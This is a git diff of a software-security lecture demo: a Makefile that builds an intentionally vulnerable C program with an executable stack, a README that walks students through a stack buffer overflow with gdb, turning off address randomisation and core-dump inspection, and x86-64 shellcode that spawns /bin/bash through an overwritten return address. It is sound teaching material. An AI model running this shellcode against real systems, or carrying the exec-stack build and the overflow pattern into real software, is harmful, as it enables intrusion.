diff --git a/lecture-demos/buffer-overflow/Makefile b/lecture-demos/buffer-overflow/Makefile index ebd2a37..0042d4d 100644 --- a/lecture-demos/buffer-overflow/Makefile +++ b/lecture-demos/buffer-overflow/Makefile @@ -1,16 +1,12 @@ -SOURCES = $(wildcard *.asm) -OBJS = $(SOURCES:.asm=.o) -EXECS = $(patsubst %.asm,%.runme,$(SOURCES)) -all: $(EXECS) bufoverflow +.PHONY: clean shellcode bufoverflow -%.o: %.asm - nasm -g -f elf64 $< +all: bufoverflow shellcode -%.runme: %.o - ld -o $@ $< +shellcode: + nasm shellcode.asm clean: - rm -f *.o *.runme bufoverflow + rm -f shellcode bufoverflow bufoverflow: - gcc bufoverflow.c -g -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse + gcc bufoverflow.c -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse diff --git a/lecture-demos/buffer-overflow/README.md b/lecture-demos/buffer-overflow/README.md new file mode 100644 index 0000000..38b2e3a --- /dev/null +++ b/lecture-demos/buffer-overflow/README.md @@ -0,0 +1,106 @@ +# bufoverflow.c demo + +This demo corresponds to the **Buffer Overflow: Code Execution** slide of the Software Security lecture. +The function `mystr()` is vulnerable as it has a buffer overflow when calling `fread()` with a wrong maximum lenght: only 512B would fit into the buffer but 1024B are passed as maximum length argument. +Attackers can therefore overflow the buffer `char mystr[512]` by providing input files larger than 512B. + +**NOTE:** Before starting here, make sure you have your `.gdbinit` file configured correctly (see Moodle). + +## Demo usage + +To compile the demo, use an x64 system with `gcc` and `nasm` installed and invoke `make`. Then: + +`./bufoverflow ` + +If the file is too large, the program should receive a segmentation fault during execution. +Otherwise, the program just exits gracefully. + +## Exploiting the program within a debugger + +Once we got the program running, we have to write the shellcode. +We face two challenges here. +1. We have to investigate how many bytes of shellcode we can place and what offset the saved `rip` has. +2. We have to compute the stack pointer to our shellcode that overwrites the saved `rip`. +We devote each a subsection for each challenge. + +### Determinining the offset + +### Computing the correct stack pointer + +To compute the stack address, simply use `gdb`. To this end, we open the program in a debuger: + +`gdb --args ./bufoverflow ` + +Within `gdb`, we then set a breakpoint on the `mystr` function like this: + +`break mystr` + +You can then execute the program using the gdb command `run`. The program will execute until hitting the breakpoint. If you don't see registers or assembly you, simply enter `layout asm` and `layout regs`. You should then see the program before executing the `mystr` function prologue. Now, you can single-step using the `gdb` command `ni`. Single-step until after the function prologue (i.e., right after`sub rsp,0x200`). You then see the stack frame looking at `rbp` and `rsp`, where `rsp` points to the top of the stack and thus the single local function variable (the 512B buffer) in our function. Note down this value (in my case, `0x7fffffffe090`) and exit the debugger with SIGINT (i.e., CTRL+D) or using `exit` (noone does that). + +### Compiling the shellcode + +After having writting/adapted the shellcode, compile it using `make`. +To double-check if the shellcode was compiled correctly, you can disassemble it using the command + +`objdump -D -b binary -M intel -d -m i386:x86-64 ./shellcode | less -S` + +It should start with a (long) `nop` chain, followed by the system call, the shell string (misinterpreted as code) and the shellcode pointer (likewise misinterpreted as code). + +Once you're satisfied, invoke + +`gdb --args ./bufoverflow ./shellcode` + +and then use the `run` command to get your shell. + +Exit with SIGINT (CTRL+D); the first SIGINT will exit the shell, the second the debugger. + + +## Shellcode for exploits outside of the debugger + +When you now try to exploit the program *without* using `gdb`, you will likely observe a segmentation fault like this: + +``` +$ ./bufoverflow ./shellcode +Segmentation fault +``` + +This has **two** reasons, both of which you'll have to address. + +### Stack randomization + +First, by default, Linux randomizes the stack location to make attacks like yours harder. +In `gdb` your attack worked as `gdb` disables this randomization to make debugging easier. +You can disable this randomization by executing the program like this: + +`setarch \`uname -m\` -R ./bufoverflow ./shellcode`. + +### Adjusting the stack pointer + +Second, the stack pointer you obtained using `gdb` is invalid when the program is being run without `gdb`. +This is as `gdb` places environment variables on the stack that change (decrease!) the stack (i.e., `rsp` value). +There are (at least) two solutions to this problem: + +#### Variant A: Guesstimate the right stack address + +We can take into account that `gdb` places environment variables that change (decrease!) the `rsp` value (see [here](https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it) for details and possible workarounds that however only work for programs without arguments). +Thankfully, given that we have sufficient room for a `nop` sled in our sled, we can adopt to this and try to guesstimate a valid `rsp` value. +Try to increase the value by 256B (0x100). +This address should now point somewhere in the middle of our shellcode, i.e., into our NOP sled. +Then recompile the shellcode and give it a try. + +#### Variant B: Inspecting a core dump. + +If you're really after the exact correct `rsp` value, you can also record a so-called `core` dump of the vulnerable program upon crash, and then inspect the core dump using `gdb`. +To enable core dumps, run: + +`ulimit -S -c unlimited` + +Then, run the program and let it crash. + +`setarch `uname -m` -R ./bufoverflow ./shellcode` + +Now you should see a file called `core`, which is our core dump. We can inspect this using `gdb`: + +`gdb ./bufoverflow ./core` + +By inspecting the registers or memory content, you may be able to find out the correct `rsp` value. Note however that the core dump was taken *after* the function's epilogue and hence the `rbp` and `rsp` values will be clobbered. So it's always a little nasty to find the exact value and there's no systematic answer how to find it. diff --git a/lecture-demos/buffer-overflow/bufoverflow.shellcode.asm b/lecture-demos/buffer-overflow/bufoverflow.shellcode.asm deleted file mode 100644 index 78e3898..0000000 --- a/lecture-demos/buffer-overflow/bufoverflow.shellcode.asm +++ /dev/null @@ -1,23 +0,0 @@ -bits 64 - -global _start -_start: - - times 128 nop - - ; 59 sys_execve const char *filename const char *const argv[] const char *const envp[] - ; (rdi, rsi, rdx, r10, r8, r9) - mov rax, 59 - lea rdi, [rel binbash] - xor rsi, rsi - xor rdx, rdx - syscall - - times 5 nop - -binbash: - db '/bin/bash', 0x00 - -ALIGN 512 ; 512-byte alignment for this part - times 8 nop ; overwrite saved rbp - dq 0x7fffffffdcd0 ; overwrite rip ([rbp+8]) diff --git a/lecture-demos/buffer-overflow/shellcode.asm b/lecture-demos/buffer-overflow/shellcode.asm new file mode 100644 index 0000000..7a2367b --- /dev/null +++ b/lecture-demos/buffer-overflow/shellcode.asm @@ -0,0 +1,23 @@ +bits 64 + +global _start +_start: + times 400 nop ; NOP sled + + ; 59 sys_execve const char *filename const char *const argv[] const char *const envp[] + ; (rdi, rsi, rdx, r10, r8, r9) + mov rax, 59 ; system call number (59 = sys_execve) + lea rdi, [rel binbash] ; load ptr to bash string into rdi + xor rsi, rsi ; zero rsi + xor rdx, rdx ; zero rdx + syscall + + times 5 nop + +binbash: + db '/bin/bash', 0x00 + +ALIGN 512 ; 512-byte alignment for this code after here + times 8 nop ; overwrite saved rbp + dq 0x7fffffffe090 ; overwrite rip ([rbp+8]) + ;dq 0x7fffffffe1c0 ; overwrite rip ([rbp+8])